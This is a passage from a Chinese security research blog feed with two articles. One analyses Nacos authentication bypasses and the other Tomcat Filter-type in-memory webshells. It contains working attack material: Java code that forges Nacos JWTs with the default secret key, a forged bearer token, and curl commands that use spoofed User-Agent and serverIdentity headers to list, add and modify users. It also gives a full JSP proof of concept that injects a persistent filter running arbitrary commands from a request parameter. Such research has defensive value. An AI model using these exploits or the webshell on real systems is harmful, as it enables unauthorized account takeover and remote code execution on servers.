的生成逻辑和校验规则,那下面就可以开始伪造了</p><p>这里忘记写了一点,关于令牌的有效期,也即生成令牌后多久失效的时间值,在配置文件中</p><p>就是 18000 秒,但是还要做单位换算,因为获取当前时间戳的单位就是毫秒</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021151101538.png" alt="image-20231021151101538"></p><p>直接 cvJwtTokenManager 的代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> io.jsonwebtoken.Claims;</span><br><span class="line"><span class="keyword">import</span> io.jsonwebtoken.Jwts;</span><br><span class="line"><span class="keyword">import</span> io.jsonwebtoken.SignatureAlgorithm;</span><br><span class="line"><span class="keyword">import</span> io.jsonwebtoken.io.Decoders;</span><br><span class="line"><span class="keyword">import</span> io.jsonwebtoken.security.Keys;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Date;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">main</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> System.out.println(createToken(<span class="string">"nacos"</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">createToken</span><span class="params">(String userName)</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">"SecretKey012345678901234567890123456789012345678901234567890123456789"</span>;</span><br><span class="line"> <span class="type">long</span> <span class="variable">now</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line"> <span class="type">Date</span> <span class="variable">validity</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Date</span>(now + <span class="number">18000</span>*<span class="number">1000L</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">Claims</span> <span class="variable">claims</span> <span class="operator">=</span> Jwts.claims().setSubject(userName);</span><br><span class="line"> <span class="keyword">return</span> Jwts.builder().setClaims(claims).setExpiration(validity).signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key)), SignatureAlgorithm.HS256).compact();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021161322404.png" alt="image-20231021161322404"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5Nzg5MzkyMn0.O575SLIgoYMLpwHgJwqTCP08dZ93JvNjipsEOIqU6Hc</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021161416466.png" alt="image-20231021161416466"></p><p>获取到用户信息</p><p>后续关于打开鉴权还是同样存在绕过鉴权的漏洞</p><p><a href="https://github.com/alibaba/nacos/issues/4593">https://github.com/alibaba/nacos/issues/4593</a></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021165055049.png" alt="image-20231021165055049"></p><p>这里只要匹配到 UserAgent 为 Nacos-Server</p><p>就直接调用 chain.doFilter (request, response);</p><p>熟悉过滤器的都清楚,Filter 过滤器处理完相应的逻辑后会去调用到 FilterChain 的 doFilter,再由 FilterChain.doFilter 去调用到 service 方法</p><p>这里直接调用了 chain.doFilter (request, response); 也就意味着没有后续的鉴权操作了,而是直接交给 Service 层了</p><h3 id="漏洞影响范围"><a class="markdownIt-Anchor" href="#漏洞影响范围">#</a> 漏洞影响范围</h3><p>1、2.0.0-ALPHA.1</p><p>2、1.x.x</p><p>访问用户列表接口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl XGET <span class="string">'http://192.168.230.130:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate'</span> -H <span class="string">'User-Agent: Nacos-Server'</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021193053019.png" alt="image-20231021193053019"></p><p>添加新用户</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -XPOST <span class="string">'http://192.168.230.130:8848/nacos/v1/auth/users?username=test&password=test'</span> -H <span class="string">'User-Agent: Nacos-Server'</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021193418781.png" alt="image-20231021193418781"></p><p>再次访问刚才的接口就可以看到新用户了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021193445741.png" alt="image-20231021193445741"></p><p>另一种 bypass</p><p>跟进下面的 else</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021194833125.png" alt="image-20231021194833125"></p><p>在配置中写了 key 和 value</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021194910654.png" alt="image-20231021194910654"></p><p>在 header 头添加</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">serverIdentity: security</span><br></pre></td></tr></table></figure><p>也同样可以达到效果</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021195009331.png" alt="image-20231021195009331"></p><p>也可以探测版本</p><p>ip/nacos/v1/console/server/state</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021195058205.png" alt="image-20231021195058205"></p><p>然后就是比较熟悉的 payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">读取用户账号密码:</span><br><span class="line">curl -X GET <span class="string">"http://192.168.230.130:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur"</span></span><br><span class="line"></span><br><span class="line">添加用户:</span><br><span class="line">curl -X POST <span class="string">"http://192.168.230.130:8848/nacos/v1/auth/users?username=test&password=test"</span></span><br><span class="line"></span><br><span class="line">任意用户密码更改:</span><br><span class="line">curl -X PUT <span class="string">"http://192.168.230.130:8848/nacos/v1/auth/users?username=test&newPassword=test1234"</span></span><br></pre></td></tr></table></figure><p>默认启动是不开启鉴权的</p><p>用户也可以开启后修改对应的 key 和 value 来提高安全性</p><p><a href="https://nacos.io/zh-cn/blog/announcement-token-secret-key.html">https://nacos.io/zh-cn/blog/announcement-token-secret-key.html</a></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> 漏洞分析 </tag>
</tags>
</entry>
<entry>
<title>Tomcat-Filter型内存马</title>
<link href="/2023/08/11/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/"/>
<url>/2023/08/11/Tomcat-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/</url>
<content type="html"><![CDATA[<p>[toc]</p><h2 id="0x01-前言"><a class="markdownIt-Anchor" href="#0x01-前言">#</a> 0x01 前言</h2><p>上一节我们说过</p><p>我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809144605968.png" alt="image-20230809144605968"></p><p>动态注册恶意 Filter,并且将其放到最前面</p><h2 id="0x02-tomcat-filter流程分析"><a class="markdownIt-Anchor" href="#0x02-tomcat-filter流程分析">#</a> 0x02 Tomcat Filter 流程分析</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.servlet.*; </span><br><span class="line"><span class="keyword">import</span> java.io.IOException; </span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">filter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span>{ </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException { </span><br><span class="line"> System.out.println(<span class="string">"Filter 初始构造完成"</span>); </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException { </span><br><span class="line"> System.out.println(<span class="string">"执行了过滤操作"</span>); </span><br><span class="line"> filterChain.doFilter(servletRequest,servletResponse); </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> { </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>修改 web.xml 文件,这里我们设置 url-pattern 为 <code>/filter</code> 即访问 <code>/filter</code> 才会触发</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span>?> </span><br><span class="line"><web-app xmlns=<span class="string">"http://xmlns.jcp.org/xml/ns/javaee"</span> </span><br><span class="line"> xmlns:xsi=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> </span><br><span class="line"> xsi:schemaLocation=<span class="string">"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"</span> </span><br><span class="line"> version=<span class="string">"4.0"</span>> </span><br><span class="line"> <filter> <filter-name>filter</filter-name> </span><br><span class="line"> <filter-class>filter</filter-class> </span><br><span class="line"> </filter> </span><br><span class="line"> <filter-mapping> <filter-name>filter</filter-name> </span><br><span class="line"> <url-pattern>/filter</url-pattern> </span><br><span class="line"> </filter-mapping></web-app></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809151139411.png" alt="image-20230809151139411"></p><h3 id="在访问-filter-之后的流程分析"><a class="markdownIt-Anchor" href="#在访问-filter-之后的流程分析">#</a> 在访问 /filter 之后的流程分析</h3><p>在 doFilter 打上断点开始分析</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809151437361.png" alt="image-20230809151437361"></p><p>全局安全变量的判断,为 false,直接到代码尾部</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809152147101.png" alt="image-20230809152147101"></p><p>接着跟进到 internalDoFilter 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809152236004.png" alt="image-20230809152236004"></p><p>加载到了 filters 对象</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809152954347.png" alt="image-20230809152954347"></p><p></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> ApplicationFilterConfig[] filters = <span class="keyword">new</span> <span class="title class_">ApplicationFilterConfig</span>[<span class="number">0</span>];</span><br></pre></td></tr></table></figure><p>此时我们是同时拥有两个 filter 对象</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809153519107.png" alt="image-20230809153519107"></p><p>此时 pos=1,也就是 tomcat 自带的 filter 对象</p><p>接着往后走,会调用一个一个 FilterChain 对象的 doFilter 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809163610214.png" alt="image-20230809163610214"></p><p></p><p>然后再次回到 doFilter 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809164240078.png" alt="image-20230809164240078"></p><p>最后来到 servlet.service 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809164416756.png" alt="image-20230809164416756"></p><p>如果 filter 是自带的,可能会调用一个个 filter 对象,到最后一个 filter 对象,也就是 FilterChain 结束,调用 servlet.service 方法</p><p>如果是我们自己写的 Filter 对象,则可以直接调用到 servlet.service,上一节有提到</p><h3 id="在访问-filter-之前的流程分析"><a class="markdownIt-Anchor" href="#在访问-filter-之前的流程分析">#</a> 在访问 /filter 之前的流程分析</h3><blockquote><p>分析目的在于:假设我们基于 filter 去实现一个内存马,我们需要找到 filter 是如何被创建的。</p></blockquote><p>来到调用 service 前的最后一步</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809181708537.png" alt="image-20230809181708537"></p><p>invoke 调用的 AbstractAccessLogValve</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809182253575.png" alt="image-20230809182253575"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809183037852.png" alt="image-20230809183037852"></p><p>看调用栈,因为是处理内部请求,invoke 调用顺序也就是</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/InvokeChains.png" alt="img"></p><p>下面我们关注下 filterChain</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810091229039.png" alt="image-20230810091229039"></p><p>在 ApplicationFilterFactory 创建好 FilterChain 对象,就轮到 filterMaps</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810092343393.png" alt="image-20230810092343393"></p><p>这里是 context 从 wrapper 中加载到现在的对象,然后 filterMaps 又从上下文获取到对象</p><p>此时 filterMaps 已经加载到对象</p><p>第一个是我们自定义的</p><p>第二个是 tomcat 自带的</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810093933148.png" alt="image-20230810093933148"></p><p>会遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 匹配,就会进入 if</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810095522767.png" alt="image-20230810095522767"></p><p>最终加载到</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810100438969.png" alt="image-20230810100438969"></p><p>跟进 addFilter</p><p>遍历 filters 中的 filter,进行去重,当 n 的长度 = filters.lenth,就会增加十个容量,再将 filtersconfig 添加到 filters 中</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810102041456.png" alt="image-20230810102041456"></p><p>至此 filter 就加载完了</p><p>之后接着加载 tomcat 自带的 filterconfig,接着上面的步骤走一遍</p><p>最终返回 filterchain</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810102308974.png" alt="image-20230810102308974"></p><p>最后的最后</p><p>通过 filterChain.doFilter 的调用去处理 request 和 respnonse</p><p>也就是去激活 servlet.service 方法进行回应</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810102426416.png" alt="image-20230810102426416"></p><p>此图来自宽字节安全</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20210331212905616.png" alt="image-20210331212905616"></p><h3 id="小结"><a class="markdownIt-Anchor" href="#小结">#</a> 小结</h3><p>1、根据请求的 url 信息,从 FilterMaps 中找出与 url 相应的 Filter 名称</p><p>2、根据 Filter 名称从 FilterConfigs 中获取对应的 FilterConfig</p><p>3、找到对应的 FilterConfig 后添加到 Filter,最终所有的 Filter 链式调用完也即 FilterChain</p><p>4、Fileterchain 调用 internalDoFilter 遍历获取 chain 中的 FilterConfig,然后获取 Filter 最终调用对应的 doFilter 方法</p><p>所以可以发现,FiltersMaps 是从 StandardContext 中获取的</p><p>那如果我们自定义一个 FilterMap,然后放在最前面,这样 urlpattern 去匹配的时候就会加载相应的 FilterConfig 内容,最后加载到 FilterChain 中,触发内存 shell</p><h2 id="0x03-filter内存马注入"><a class="markdownIt-Anchor" href="#0x03-filter内存马注入">#</a> 0x03 Filter 内存马注入</h2><p>利用版本 > 7.x</p><p>因为 javax.servlet.DispatcherType 类是 servlet 3 以后引入,而 Tomcat 7 以上才支持 Servlet 3</p><p>当我们能直接获取 request 的时候,我们这里可以直接使用如下方法</p><p>将我们的 ServletContext 转为 StandardContext 从而获取 context</p><p>当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用</p><h3 id="servletcontext跟standardcontext的关系"><a class="markdownIt-Anchor" href="#servletcontext跟standardcontext的关系">#</a> ServletContext 跟 StandardContext 的关系</h3><p>Tomcat 中的对应的 ServletContext 实现是 ApplicationContext。在 Web 应用中获取的 ServletContext 实际上是 ApplicationContextFacade 对象,对 ApplicationContext 进行了封装,而 ApplicationContext 实例中又包含了 StandardContext 实例,以此来获取操作 Tomcat 容器内部的一些信息,例如 Servlet 的注册等。</p><h3 id="如何获取standardcontext"><a class="markdownIt-Anchor" href="#如何获取standardcontext">#</a> 如何获取 StandardContext</h3><ul><li>由 ServletContext 转 StandardContext</li></ul><p>如果可以直接获取到 request 对象的话可以用这种方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getSession().getServletContext();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">appctx</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> appctx.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="comment">// ApplicationContext 为 ServletContext 的实现类</span></span><br><span class="line"> <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) appctx.get(servletContext);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">stdctx</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> stdctx.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="comment">// 这样我们就获取到了 context </span></span><br><span class="line"> <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> (StandardContext) stdctx.get(applicationContext);</span><br></pre></td></tr></table></figure><p>获取到 Context 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关,那么如果我们可以控制这几个变量那么我们或许就可以注入我们的内存马</p><p><strong>FilterDefs</strong>:存放 FilterDef 的数组 ,<strong>FilterDef</strong> 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息</p><p><strong>filterConfigs</strong>:存放 filterConfig 的数组,在 <strong>FilterConfig</strong> 中主要存放 FilterDef 和 Filter 对象等信息</p><p><strong>filterMaps</strong>:一个存放 FilterMap 的数组,在 <strong>FilterMap</strong> 中主要存放了 FilterName 和 对应的 URLPattern</p><p>大致流程如下:</p><ol><li>创建一个恶意 Filter</li><li>利用 FilterDef 对 Filter 进行一个封装</li><li>将 FilterDef 添加到 FilterDefs 和 FilterConfig</li><li>创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps 中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)</li></ol><p>每次请求 createFilterChain 都会依据此动态生成一个过滤链,而 StandardContext 又会一直保留到 Tomcat 生命周期结束,所以我们的内存马就可以一直驻留下去,直到 Tomcat 重启</p><h3 id="poc"><a class="markdownIt-Anchor" href="#poc">#</a> poc</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.ApplicationContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.lang.reflect.Field"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.StandardContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.util.Map"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.IOException"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.tomcat.util.descriptor.web.FilterDef"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.tomcat.util.descriptor.web.FilterMap"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.lang.reflect.Constructor"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.ApplicationFilterConfig"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.Context"</span> %></span><br><span class="line"><%@ page language=<span class="string">"java"</span> contentType=<span class="string">"text/html; charset=UTF-8"</span> pageEncoding=<span class="string">"UTF-8"</span>%></span><br><span class="line"></span><br><span class="line"><%</span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">"KpLi0rn"</span>;</span><br><span class="line"> <span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getSession().getServletContext();</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">appctx</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> appctx.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) appctx.get(servletContext);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">stdctx</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> stdctx.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> (StandardContext) stdctx.get(applicationContext);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">Configs</span> <span class="operator">=</span> standardContext.getClass().getDeclaredField(<span class="string">"filterConfigs"</span>);</span><br><span class="line"> Configs.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">filterConfigs</span> <span class="operator">=</span> (Map) Configs.get(standardContext);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (filterConfigs.get(name) == <span class="literal">null</span>){</span><br><span class="line"> <span class="type">Filter</span> <span class="variable">filter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Filter</span>() {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException {</span><br><span class="line"> <span class="type">HttpServletRequest</span> <span class="variable">req</span> <span class="operator">=</span> (HttpServletRequest) servletRequest;</span><br><span class="line"> <span class="keyword">if</span> (req.getParameter(<span class="string">"cmd"</span>) != <span class="literal">null</span>){</span><br><span class="line"> <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line"> <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProcessBuilder</span>(req.getParameter(<span class="string">"cmd"</span>)).start();</span><br><span class="line"> <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> process.getInputStream().read(bytes);</span><br><span class="line"> servletResponse.getWriter().write(<span class="keyword">new</span> <span class="title class_">String</span>(bytes,<span class="number">0</span>,len));</span><br><span class="line"> process.destroy();</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> filterChain.doFilter(servletRequest,servletResponse);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="type">FilterDef</span> <span class="variable">filterDef</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FilterDef</span>();</span><br><span class="line"> filterDef.setFilter(filter);</span><br><span class="line"> filterDef.setFilterName(name);</span><br><span class="line"> filterDef.setFilterClass(filter.getClass().getName());</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 将filterDef添加到filterDefs中</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> standardContext.addFilterDef(filterDef);</span><br><span class="line"></span><br><span class="line"> <span class="type">FilterMap</span> <span class="variable">filterMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FilterMap</span>();</span><br><span class="line"> filterMap.addURLPattern(<span class="string">"/*"</span>);</span><br><span class="line"> filterMap.setFilterName(name);</span><br><span class="line"> filterMap.setDispatcher(DispatcherType.REQUEST.name());</span><br><span class="line"></span><br><span class="line"> standardContext.addFilterMapBefore(filterMap);</span><br><span class="line"></span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);</span><br><span class="line"> constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">ApplicationFilterConfig</span> <span class="variable">filterConfig</span> <span class="operator">=</span> (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);</span><br><span class="line"></span><br><span class="line"> filterConfigs.put(name,filterConfig);</span><br><span class="line"> out.print(<span class="string">"Inject Success !"</span>);</span><br><span class="line"> }</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230810155754734.png" alt="image-20230810155754734"></p><p>在运行过程中,将 Evil.jsp 删除还是可以执行命令,将服务重启就无了</p><h2 id="0x04-一些点的总结"><a class="markdownIt-Anchor" href="#0x04-一些点的总结">#</a> 0x04 一些点的总结</h2><p>首先是 Filter 的注册流程</p><ul><li>在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;</li><li>如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig;</li><li>如果获取到 filterConfig,则将其加入到 filterChain 中</li><li>后续将会循环 filterChain 中的全部 filterConfig,通过 <code>getFilter</code> 方法获取 